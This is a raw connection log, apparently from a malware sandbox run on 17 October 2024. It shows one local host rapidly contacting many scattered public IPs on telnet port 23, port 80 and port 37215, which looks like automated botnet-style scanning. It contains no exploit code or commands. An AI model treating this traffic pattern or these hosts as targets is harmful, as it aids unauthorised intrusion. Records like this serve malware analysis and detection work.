Oct 17, 2024 02:19:45.704715967 CEST	50266	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:45.704720974 CEST	48496	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:45.704935074 CEST	50266	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:45.704935074 CEST	50266	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:45.705708027 CEST	51182	37215	192.168.2.14	156.211.41.245
Oct 17, 2024 02:19:45.709892035 CEST	37215	50266	156.211.41.245	192.168.2.14
Oct 17, 2024 02:19:45.723154068 CEST	80	47816	189.3.53.250	192.168.2.14
Oct 17, 2024 02:19:45.731687069 CEST	42476	23	192.168.2.14	87.39.230.68
Oct 17, 2024 02:19:45.731688023 CEST	55774	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:45.731688023 CEST	50814	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:45.731693983 CEST	52486	80	192.168.2.14	80.47.111.194
Oct 17, 2024 02:19:45.731703997 CEST	34600	23	192.168.2.14	112.106.31.219
Oct 17, 2024 02:19:45.731704950 CEST	50850	37215	192.168.2.14	41.105.211.223
Oct 17, 2024 02:19:45.731709003 CEST	39096	37215	192.168.2.14	156.229.117.78
Oct 17, 2024 02:19:45.731718063 CEST	50436	80	192.168.2.14	216.232.8.186
Oct 17, 2024 02:19:45.731728077 CEST	43186	37215	192.168.2.14	41.82.9.158
Oct 17, 2024 02:19:45.731735945 CEST	36246	37215	192.168.2.14	197.3.88.249
Oct 17, 2024 02:19:45.731735945 CEST	43122	80	192.168.2.14	65.182.119.153
Oct 17, 2024 02:19:45.731735945 CEST	49936	80	192.168.2.14	148.90.123.249
Oct 17, 2024 02:19:45.731736898 CEST	41874	37215	192.168.2.14	156.66.126.47
Oct 17, 2024 02:19:45.731738091 CEST	59458	80	192.168.2.14	209.10.130.87
Oct 17, 2024 02:19:45.731755972 CEST	37564	37215	192.168.2.14	41.25.183.201
Oct 17, 2024 02:19:45.736496925 CEST	23	42476	87.39.230.68	192.168.2.14
Oct 17, 2024 02:19:45.736507893 CEST	80	55774	222.80.213.83	192.168.2.14
Oct 17, 2024 02:19:45.736517906 CEST	37215	50814	156.91.159.119	192.168.2.14
Oct 17, 2024 02:19:45.736566067 CEST	50814	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:45.736566067 CEST	55774	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:45.736567974 CEST	42476	23	192.168.2.14	87.39.230.68
Oct 17, 2024 02:19:45.736819029 CEST	50814	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:45.736819029 CEST	50814	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:45.737030029 CEST	55774	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:45.737030029 CEST	55774	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:45.738085985 CEST	51686	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:45.738337040 CEST	56658	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:45.741575956 CEST	37215	50814	156.91.159.119	192.168.2.14
Oct 17, 2024 02:19:45.741806030 CEST	80	55774	222.80.213.83	192.168.2.14
Oct 17, 2024 02:19:45.751159906 CEST	37215	50266	156.211.41.245	192.168.2.14
Oct 17, 2024 02:19:45.763679981 CEST	60748	23	192.168.2.14	174.250.203.155
Oct 17, 2024 02:19:45.763714075 CEST	54868	23	192.168.2.14	60.160.234.66
Oct 17, 2024 02:19:45.763712883 CEST	54682	23	192.168.2.14	102.30.251.168
Oct 17, 2024 02:19:45.763714075 CEST	49924	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.763715029 CEST	39884	80	192.168.2.14	37.85.205.78
Oct 17, 2024 02:19:45.763716936 CEST	35400	23	192.168.2.14	1.206.171.36
Oct 17, 2024 02:19:45.763712883 CEST	46290	23	192.168.2.14	4.55.141.3
Oct 17, 2024 02:19:45.763712883 CEST	57056	80	192.168.2.14	2.83.98.137
Oct 17, 2024 02:19:45.763716936 CEST	52270	37215	192.168.2.14	41.14.98.49
Oct 17, 2024 02:19:45.763725996 CEST	39564	23	192.168.2.14	73.204.124.139
Oct 17, 2024 02:19:45.763725996 CEST	56916	37215	192.168.2.14	156.158.186.253
Oct 17, 2024 02:19:45.768557072 CEST	23	60748	174.250.203.155	192.168.2.14
Oct 17, 2024 02:19:45.768570900 CEST	23	54868	60.160.234.66	192.168.2.14
Oct 17, 2024 02:19:45.768580914 CEST	80	49924	31.217.15.0	192.168.2.14
Oct 17, 2024 02:19:45.768601894 CEST	60748	23	192.168.2.14	174.250.203.155
Oct 17, 2024 02:19:45.768642902 CEST	49924	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.768642902 CEST	54868	23	192.168.2.14	60.160.234.66
Oct 17, 2024 02:19:45.768853903 CEST	49924	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.768853903 CEST	49924	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.769514084 CEST	50770	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.773596048 CEST	80	49924	31.217.15.0	192.168.2.14
Oct 17, 2024 02:19:45.774328947 CEST	80	50770	31.217.15.0	192.168.2.14
Oct 17, 2024 02:19:45.774388075 CEST	50770	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.774420977 CEST	50770	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.779711008 CEST	80	50770	31.217.15.0	192.168.2.14
Oct 17, 2024 02:19:45.779762983 CEST	50770	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:45.783142090 CEST	80	55774	222.80.213.83	192.168.2.14
Oct 17, 2024 02:19:45.783159018 CEST	37215	50814	156.91.159.119	192.168.2.14
Oct 17, 2024 02:19:45.795679092 CEST	59734	23	192.168.2.14	50.153.78.201
Oct 17, 2024 02:19:45.795691013 CEST	59638	23	192.168.2.14	189.199.84.131
Oct 17, 2024 02:19:45.795690060 CEST	50882	23	192.168.2.14	96.134.123.90
Oct 17, 2024 02:19:45.795691013 CEST	41264	37215	192.168.2.14	156.66.118.45
Oct 17, 2024 02:19:45.795691013 CEST	35918	23	192.168.2.14	31.29.72.152
Oct 17, 2024 02:19:45.795696020 CEST	44744	23	192.168.2.14	121.239.69.250
Oct 17, 2024 02:19:45.795696020 CEST	47512	37215	192.168.2.14	197.80.146.14
Oct 17, 2024 02:19:45.795696974 CEST	40552	37215	192.168.2.14	156.214.27.37
Oct 17, 2024 02:19:45.795706034 CEST	39538	37215	192.168.2.14	156.8.0.159
Oct 17, 2024 02:19:45.795706034 CEST	46624	37215	192.168.2.14	197.48.103.235
Oct 17, 2024 02:19:45.795716047 CEST	44344	80	192.168.2.14	101.45.45.64
Oct 17, 2024 02:19:45.795721054 CEST	46136	37215	192.168.2.14	197.103.162.180
Oct 17, 2024 02:19:45.795722008 CEST	56878	37215	192.168.2.14	197.74.5.190
Oct 17, 2024 02:19:45.795722961 CEST	59304	80	192.168.2.14	60.20.43.43
Oct 17, 2024 02:19:45.795728922 CEST	41124	80	192.168.2.14	122.65.119.137
Oct 17, 2024 02:19:45.795728922 CEST	45332	80	192.168.2.14	39.136.67.222
Oct 17, 2024 02:19:45.795732975 CEST	36248	80	192.168.2.14	212.238.39.182
Oct 17, 2024 02:19:45.800646067 CEST	23	59638	189.199.84.131	192.168.2.14
Oct 17, 2024 02:19:45.800681114 CEST	23	59734	50.153.78.201	192.168.2.14
Oct 17, 2024 02:19:45.800719023 CEST	59638	23	192.168.2.14	189.199.84.131
Oct 17, 2024 02:19:45.800781012 CEST	59734	23	192.168.2.14	50.153.78.201
Oct 17, 2024 02:19:45.815135002 CEST	80	49924	31.217.15.0	192.168.2.14
Oct 17, 2024 02:19:45.827689886 CEST	49358	23	192.168.2.14	59.58.222.38
Oct 17, 2024 02:19:45.827688932 CEST	49382	23	192.168.2.14	95.82.213.133
Oct 17, 2024 02:19:45.827692032 CEST	40928	23	192.168.2.14	198.113.151.180
Oct 17, 2024 02:19:45.827689886 CEST	50068	23	192.168.2.14	163.194.208.219
Oct 17, 2024 02:19:45.827763081 CEST	47764	80	192.168.2.14	145.162.52.218
Oct 17, 2024 02:19:45.827774048 CEST	48764	80	192.168.2.14	160.121.87.135
Oct 17, 2024 02:19:45.827775002 CEST	60632	37215	192.168.2.14	156.20.235.74
Oct 17, 2024 02:19:45.827780008 CEST	33874	80	192.168.2.14	52.74.204.117
Oct 17, 2024 02:19:45.827780008 CEST	58280	37215	192.168.2.14	41.158.7.58
Oct 17, 2024 02:19:45.827780962 CEST	59538	37215	192.168.2.14	197.7.156.242
Oct 17, 2024 02:19:45.827786922 CEST	53154	80	192.168.2.14	20.41.13.130
Oct 17, 2024 02:19:45.827799082 CEST	36680	37215	192.168.2.14	41.48.209.80
Oct 17, 2024 02:19:45.832710981 CEST	23	40928	198.113.151.180	192.168.2.14
Oct 17, 2024 02:19:45.832726002 CEST	23	49382	95.82.213.133	192.168.2.14
Oct 17, 2024 02:19:45.832737923 CEST	23	49358	59.58.222.38	192.168.2.14
Oct 17, 2024 02:19:45.832747936 CEST	23	50068	163.194.208.219	192.168.2.14
Oct 17, 2024 02:19:45.832812071 CEST	49358	23	192.168.2.14	59.58.222.38
Oct 17, 2024 02:19:45.832813025 CEST	49382	23	192.168.2.14	95.82.213.133
Oct 17, 2024 02:19:45.832931042 CEST	40928	23	192.168.2.14	198.113.151.180
Oct 17, 2024 02:19:45.833003998 CEST	50068	23	192.168.2.14	163.194.208.219
Oct 17, 2024 02:19:45.859694004 CEST	45798	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:45.859695911 CEST	49450	23	192.168.2.14	196.227.178.226
Oct 17, 2024 02:19:45.859700918 CEST	42718	23	192.168.2.14	151.198.199.203
Oct 17, 2024 02:19:45.859704018 CEST	56232	23	192.168.2.14	137.181.24.77
Oct 17, 2024 02:19:45.859704018 CEST	52700	23	192.168.2.14	62.127.110.136
Oct 17, 2024 02:19:45.859734058 CEST	50444	37215	192.168.2.14	156.211.38.1
Oct 17, 2024 02:19:45.859747887 CEST	34746	37215	192.168.2.14	197.42.154.97
Oct 17, 2024 02:19:45.859750986 CEST	43712	80	192.168.2.14	166.226.230.169
Oct 17, 2024 02:19:45.859761953 CEST	36090	80	192.168.2.14	157.218.99.33
Oct 17, 2024 02:19:45.859762907 CEST	42416	37215	192.168.2.14	41.216.249.32
Oct 17, 2024 02:19:45.859762907 CEST	42076	80	192.168.2.14	114.192.180.8
Oct 17, 2024 02:19:45.859762907 CEST	38382	37215	192.168.2.14	156.53.140.185
Oct 17, 2024 02:19:45.859769106 CEST	52030	37215	192.168.2.14	156.225.19.26
Oct 17, 2024 02:19:45.859769106 CEST	37960	37215	192.168.2.14	41.49.253.170
Oct 17, 2024 02:19:45.859770060 CEST	59176	80	192.168.2.14	135.254.222.236
Oct 17, 2024 02:19:45.859875917 CEST	39774	80	192.168.2.14	216.193.119.98
Oct 17, 2024 02:19:45.864645958 CEST	23	42718	151.198.199.203	192.168.2.14
Oct 17, 2024 02:19:45.864660978 CEST	23	49450	196.227.178.226	192.168.2.14
Oct 17, 2024 02:19:45.864671946 CEST	37215	45798	41.9.224.55	192.168.2.14
Oct 17, 2024 02:19:45.864737034 CEST	49450	23	192.168.2.14	196.227.178.226
Oct 17, 2024 02:19:45.864739895 CEST	45798	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:45.864799976 CEST	42718	23	192.168.2.14	151.198.199.203
Oct 17, 2024 02:19:45.865114927 CEST	45798	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:45.865130901 CEST	45798	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:45.865725994 CEST	46528	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:45.870059013 CEST	37215	45798	41.9.224.55	192.168.2.14
Oct 17, 2024 02:19:45.891680002 CEST	55344	23	192.168.2.14	117.94.21.113
Oct 17, 2024 02:19:45.891680956 CEST	46154	23	192.168.2.14	77.245.231.73
Oct 17, 2024 02:19:45.891710043 CEST	48418	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:45.891709089 CEST	41490	80	192.168.2.14	85.40.106.105
Oct 17, 2024 02:19:45.891721010 CEST	36480	37215	192.168.2.14	41.108.209.179
Oct 17, 2024 02:19:45.891709089 CEST	57162	80	192.168.2.14	74.31.107.159
Oct 17, 2024 02:19:45.891709089 CEST	45578	80	192.168.2.14	210.38.120.199
Oct 17, 2024 02:19:45.891731977 CEST	60602	37215	192.168.2.14	197.202.12.112
Oct 17, 2024 02:19:45.891736031 CEST	50450	80	192.168.2.14	222.193.195.36
Oct 17, 2024 02:19:45.891736031 CEST	55548	80	192.168.2.14	61.192.170.125
Oct 17, 2024 02:19:45.891736031 CEST	58574	80	192.168.2.14	220.154.93.134
Oct 17, 2024 02:19:45.891738892 CEST	40782	37215	192.168.2.14	156.50.127.146
Oct 17, 2024 02:19:45.891794920 CEST	42526	37215	192.168.2.14	41.226.199.103
Oct 17, 2024 02:19:45.891803026 CEST	40390	37215	192.168.2.14	197.34.112.132
Oct 17, 2024 02:19:45.896881104 CEST	23	46154	77.245.231.73	192.168.2.14
Oct 17, 2024 02:19:45.896898031 CEST	23	55344	117.94.21.113	192.168.2.14
Oct 17, 2024 02:19:45.896908045 CEST	37215	48418	41.222.25.224	192.168.2.14
Oct 17, 2024 02:19:45.896940947 CEST	46154	23	192.168.2.14	77.245.231.73
Oct 17, 2024 02:19:45.896991014 CEST	48418	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:45.897066116 CEST	55344	23	192.168.2.14	117.94.21.113
Oct 17, 2024 02:19:45.897244930 CEST	48418	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:45.897244930 CEST	48418	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:45.897963047 CEST	49108	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:45.902209044 CEST	37215	48418	41.222.25.224	192.168.2.14
Oct 17, 2024 02:19:45.911216974 CEST	37215	45798	41.9.224.55	192.168.2.14
Oct 17, 2024 02:19:45.920011997 CEST	23	60032	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:45.920155048 CEST	60032	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:45.921190977 CEST	60092	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:45.923697948 CEST	59686	23	192.168.2.14	136.227.189.144
Oct 17, 2024 02:19:45.923712969 CEST	39806	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.923712969 CEST	36264	37215	192.168.2.14	197.253.36.239
Oct 17, 2024 02:19:45.923712969 CEST	35368	37215	192.168.2.14	197.42.65.244
Oct 17, 2024 02:19:45.923712969 CEST	49648	80	192.168.2.14	140.212.103.44
Oct 17, 2024 02:19:45.923721075 CEST	55340	37215	192.168.2.14	197.61.247.104
Oct 17, 2024 02:19:45.923719883 CEST	43300	80	192.168.2.14	138.39.198.132
Oct 17, 2024 02:19:45.923719883 CEST	32980	23	192.168.2.14	168.27.60.56
Oct 17, 2024 02:19:45.923721075 CEST	50332	80	192.168.2.14	126.59.55.112
Oct 17, 2024 02:19:45.923723936 CEST	53290	23	192.168.2.14	150.51.149.135
Oct 17, 2024 02:19:45.923721075 CEST	43538	23	192.168.2.14	91.43.20.114
Oct 17, 2024 02:19:45.923736095 CEST	53794	23	192.168.2.14	53.60.171.146
Oct 17, 2024 02:19:45.923738956 CEST	41714	23	192.168.2.14	94.248.155.238
Oct 17, 2024 02:19:45.923739910 CEST	49068	37215	192.168.2.14	156.221.158.76
Oct 17, 2024 02:19:45.924948931 CEST	23	60032	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:45.925978899 CEST	23	60092	150.65.175.239	192.168.2.14
Oct 17, 2024 02:19:45.926052094 CEST	60092	23	192.168.2.14	150.65.175.239
Oct 17, 2024 02:19:45.928486109 CEST	23	59686	136.227.189.144	192.168.2.14
Oct 17, 2024 02:19:45.928544044 CEST	37215	39806	41.181.48.226	192.168.2.14
Oct 17, 2024 02:19:45.928549051 CEST	59686	23	192.168.2.14	136.227.189.144
Oct 17, 2024 02:19:45.928828001 CEST	39806	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.928828001 CEST	39806	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.928910017 CEST	39806	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.929804087 CEST	40458	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.933708906 CEST	37215	39806	41.181.48.226	192.168.2.14
Oct 17, 2024 02:19:45.934638977 CEST	37215	40458	41.181.48.226	192.168.2.14
Oct 17, 2024 02:19:45.934685946 CEST	40458	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.934747934 CEST	40458	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.939908028 CEST	37215	40458	41.181.48.226	192.168.2.14
Oct 17, 2024 02:19:45.939989090 CEST	40458	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:45.943130970 CEST	37215	48418	41.222.25.224	192.168.2.14
Oct 17, 2024 02:19:45.955688953 CEST	46026	23	192.168.2.14	106.91.61.118
Oct 17, 2024 02:19:45.955689907 CEST	50026	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.955688953 CEST	54018	37215	192.168.2.14	156.187.253.20
Oct 17, 2024 02:19:45.955693007 CEST	34672	80	192.168.2.14	92.24.74.7
Oct 17, 2024 02:19:45.955693007 CEST	54114	23	192.168.2.14	150.71.145.174
Oct 17, 2024 02:19:45.955693007 CEST	48856	80	192.168.2.14	167.108.226.109
Oct 17, 2024 02:19:45.955693007 CEST	46378	80	192.168.2.14	107.1.240.122
Oct 17, 2024 02:19:45.955714941 CEST	39350	23	192.168.2.14	77.97.240.156
Oct 17, 2024 02:19:45.955715895 CEST	48266	37215	192.168.2.14	156.21.216.57
Oct 17, 2024 02:19:45.955720901 CEST	49170	80	192.168.2.14	113.131.128.239
Oct 17, 2024 02:19:45.955724955 CEST	52864	37215	192.168.2.14	156.82.16.200
Oct 17, 2024 02:19:45.955724955 CEST	43712	23	192.168.2.14	32.36.128.7
Oct 17, 2024 02:19:45.955724955 CEST	34820	80	192.168.2.14	81.233.179.204
Oct 17, 2024 02:19:45.960609913 CEST	23	46026	106.91.61.118	192.168.2.14
Oct 17, 2024 02:19:45.960625887 CEST	80	50026	161.190.100.158	192.168.2.14
Oct 17, 2024 02:19:45.960678101 CEST	46026	23	192.168.2.14	106.91.61.118
Oct 17, 2024 02:19:45.960721970 CEST	50026	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.960998058 CEST	50026	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.960998058 CEST	50026	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.961554050 CEST	50626	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.965637922 CEST	37215	41098	156.130.38.80	192.168.2.14
Oct 17, 2024 02:19:45.965704918 CEST	41098	37215	192.168.2.14	156.130.38.80
Oct 17, 2024 02:19:45.965853930 CEST	80	50026	161.190.100.158	192.168.2.14
Oct 17, 2024 02:19:45.966571093 CEST	80	50626	161.190.100.158	192.168.2.14
Oct 17, 2024 02:19:45.966634035 CEST	50626	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.966665983 CEST	50626	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.971873999 CEST	80	50626	161.190.100.158	192.168.2.14
Oct 17, 2024 02:19:45.971915960 CEST	50626	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:45.975181103 CEST	37215	39806	41.181.48.226	192.168.2.14
Oct 17, 2024 02:19:45.987695932 CEST	54414	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:45.987709045 CEST	37902	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:45.987714052 CEST	35074	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:45.987721920 CEST	52542	37215	192.168.2.14	197.167.97.109
Oct 17, 2024 02:19:45.987730980 CEST	37916	37215	192.168.2.14	41.30.174.117
Oct 17, 2024 02:19:45.987739086 CEST	54466	37215	192.168.2.14	41.52.158.130
Oct 17, 2024 02:19:45.987741947 CEST	38882	80	192.168.2.14	211.32.135.155
Oct 17, 2024 02:19:45.987745047 CEST	40962	37215	192.168.2.14	41.19.23.201
Oct 17, 2024 02:19:45.987746000 CEST	46400	80	192.168.2.14	199.58.61.188
Oct 17, 2024 02:19:45.987746000 CEST	38452	80	192.168.2.14	42.206.232.18
Oct 17, 2024 02:19:45.987746000 CEST	49828	37215	192.168.2.14	156.254.209.251
Oct 17, 2024 02:19:45.987747908 CEST	48984	80	192.168.2.14	51.120.245.105
Oct 17, 2024 02:19:45.987747908 CEST	40952	37215	192.168.2.14	41.130.126.58
Oct 17, 2024 02:19:45.987755060 CEST	55192	80	192.168.2.14	40.163.231.225
Oct 17, 2024 02:19:45.987772942 CEST	60544	80	192.168.2.14	19.54.4.167
Oct 17, 2024 02:19:45.987818956 CEST	49498	37215	192.168.2.14	156.227.45.78
Oct 17, 2024 02:19:45.992741108 CEST	80	37902	183.246.247.40	192.168.2.14
Oct 17, 2024 02:19:45.992754936 CEST	80	54414	109.3.101.144	192.168.2.14
Oct 17, 2024 02:19:45.992769003 CEST	37215	35074	156.196.169.177	192.168.2.14
Oct 17, 2024 02:19:45.992810965 CEST	37902	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:45.992816925 CEST	54414	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:45.992858887 CEST	35074	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:45.993079901 CEST	54414	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:45.993081093 CEST	54414	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:45.993393898 CEST	35074	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:45.993393898 CEST	35074	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:45.994621038 CEST	54992	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:45.995194912 CEST	35648	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:45.996226072 CEST	37902	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:45.996226072 CEST	37902	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:45.997057915 CEST	38482	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:45.998395920 CEST	80	54414	109.3.101.144	192.168.2.14
Oct 17, 2024 02:19:45.998415947 CEST	37215	35074	156.196.169.177	192.168.2.14
Oct 17, 2024 02:19:46.001002073 CEST	80	37902	183.246.247.40	192.168.2.14
Oct 17, 2024 02:19:46.007101059 CEST	80	50026	161.190.100.158	192.168.2.14
Oct 17, 2024 02:19:46.019692898 CEST	37564	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.019694090 CEST	36144	80	192.168.2.14	162.199.39.69
Oct 17, 2024 02:19:46.019712925 CEST	53534	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:46.019714117 CEST	54304	37215	192.168.2.14	41.147.231.166
Oct 17, 2024 02:19:46.019716024 CEST	44500	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:46.019736052 CEST	39398	80	192.168.2.14	198.157.80.7
Oct 17, 2024 02:19:46.019741058 CEST	38772	80	192.168.2.14	58.167.14.24
Oct 17, 2024 02:19:46.019742012 CEST	48150	37215	192.168.2.14	156.219.176.62
Oct 17, 2024 02:19:46.019743919 CEST	51526	80	192.168.2.14	189.109.155.141
Oct 17, 2024 02:19:46.019757032 CEST	52488	37215	192.168.2.14	41.108.234.87
Oct 17, 2024 02:19:46.019757986 CEST	60608	80	192.168.2.14	43.21.92.170
Oct 17, 2024 02:19:46.019758940 CEST	51522	80	192.168.2.14	194.17.79.67
Oct 17, 2024 02:19:46.019758940 CEST	52668	80	192.168.2.14	4.1.182.38
Oct 17, 2024 02:19:46.024633884 CEST	37215	44500	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:46.024646997 CEST	80	53534	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:46.024713993 CEST	44500	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:46.024713039 CEST	53534	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:46.024722099 CEST	37215	37564	197.75.230.149	192.168.2.14
Oct 17, 2024 02:19:46.025037050 CEST	53534	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:46.025047064 CEST	37564	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.025054932 CEST	53534	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:46.025276899 CEST	44500	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:46.025276899 CEST	44500	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:46.026040077 CEST	54064	80	192.168.2.14	82.235.166.47
Oct 17, 2024 02:19:46.026349068 CEST	45030	37215	192.168.2.14	156.83.9.230
Oct 17, 2024 02:19:46.027988911 CEST	37564	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.027988911 CEST	37564	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.028687000 CEST	38108	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.029970884 CEST	80	53534	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:46.030179977 CEST	37215	44500	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:46.032919884 CEST	37215	37564	197.75.230.149	192.168.2.14
Oct 17, 2024 02:19:46.033502102 CEST	37215	38108	197.75.230.149	192.168.2.14
Oct 17, 2024 02:19:46.033597946 CEST	38108	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.033598900 CEST	38108	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.038711071 CEST	37215	38108	197.75.230.149	192.168.2.14
Oct 17, 2024 02:19:46.038789988 CEST	38108	37215	192.168.2.14	197.75.230.149
Oct 17, 2024 02:19:46.039115906 CEST	37215	35074	156.196.169.177	192.168.2.14
Oct 17, 2024 02:19:46.039125919 CEST	80	54414	109.3.101.144	192.168.2.14
Oct 17, 2024 02:19:46.043097019 CEST	80	37902	183.246.247.40	192.168.2.14
Oct 17, 2024 02:19:46.051687002 CEST	52116	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:46.051688910 CEST	44430	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:46.051688910 CEST	40624	80	192.168.2.14	174.24.2.27
Oct 17, 2024 02:19:46.051690102 CEST	51158	37215	192.168.2.14	41.241.0.143
Oct 17, 2024 02:19:46.051688910 CEST	38312	37215	192.168.2.14	156.67.10.138
Oct 17, 2024 02:19:46.051698923 CEST	42048	80	192.168.2.14	96.128.202.170
Oct 17, 2024 02:19:46.051700115 CEST	38376	37215	192.168.2.14	41.154.136.120
Oct 17, 2024 02:19:46.051704884 CEST	50464	80	192.168.2.14	151.92.33.61
Oct 17, 2024 02:19:46.051706076 CEST	37716	80	192.168.2.14	131.123.125.247
Oct 17, 2024 02:19:46.051707983 CEST	56544	80	192.168.2.14	206.61.33.79
Oct 17, 2024 02:19:46.051707983 CEST	33176	80	192.168.2.14	155.202.61.115
Oct 17, 2024 02:19:46.051714897 CEST	54308	80	192.168.2.14	199.4.155.168
Oct 17, 2024 02:19:46.051732063 CEST	36740	37215	192.168.2.14	197.18.200.152
Oct 17, 2024 02:19:46.056499004 CEST	80	52116	27.147.76.225	192.168.2.14
Oct 17, 2024 02:19:46.056509972 CEST	37215	44430	41.29.102.230	192.168.2.14
Oct 17, 2024 02:19:46.056569099 CEST	44430	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:46.056765079 CEST	52116	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:46.056765079 CEST	52116	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:46.057118893 CEST	44430	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:46.057118893 CEST	44430	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:46.057706118 CEST	44940	37215	192.168.2.14	41.29.102.230
Oct 17, 2024 02:19:46.061908007 CEST	37215	44430	41.29.102.230	192.168.2.14
Oct 17, 2024 02:19:46.061917067 CEST	80	52116	27.147.76.225	192.168.2.14
Oct 17, 2024 02:19:46.061961889 CEST	52116	80	192.168.2.14	27.147.76.225
Oct 17, 2024 02:19:46.071116924 CEST	37215	44500	156.83.9.230	192.168.2.14
Oct 17, 2024 02:19:46.071125984 CEST	80	53534	82.235.166.47	192.168.2.14
Oct 17, 2024 02:19:46.075081110 CEST	37215	37564	197.75.230.149	192.168.2.14
Oct 17, 2024 02:19:46.083724022 CEST	51166	80	192.168.2.14	89.205.249.27
Oct 17, 2024 02:19:46.083750963 CEST	58986	80	192.168.2.14	65.149.139.140
Oct 17, 2024 02:19:46.083751917 CEST	41062	37215	192.168.2.14	41.248.114.237
Oct 17, 2024 02:19:46.083764076 CEST	47686	80	192.168.2.14	8.195.166.159
Oct 17, 2024 02:19:46.083766937 CEST	55876	80	192.168.2.14	196.201.9.128
Oct 17, 2024 02:19:46.083767891 CEST	52188	80	192.168.2.14	94.8.190.200
Oct 17, 2024 02:19:46.083766937 CEST	37624	37215	192.168.2.14	197.157.68.16
Oct 17, 2024 02:19:46.083781958 CEST	33000	37215	192.168.2.14	41.25.39.86
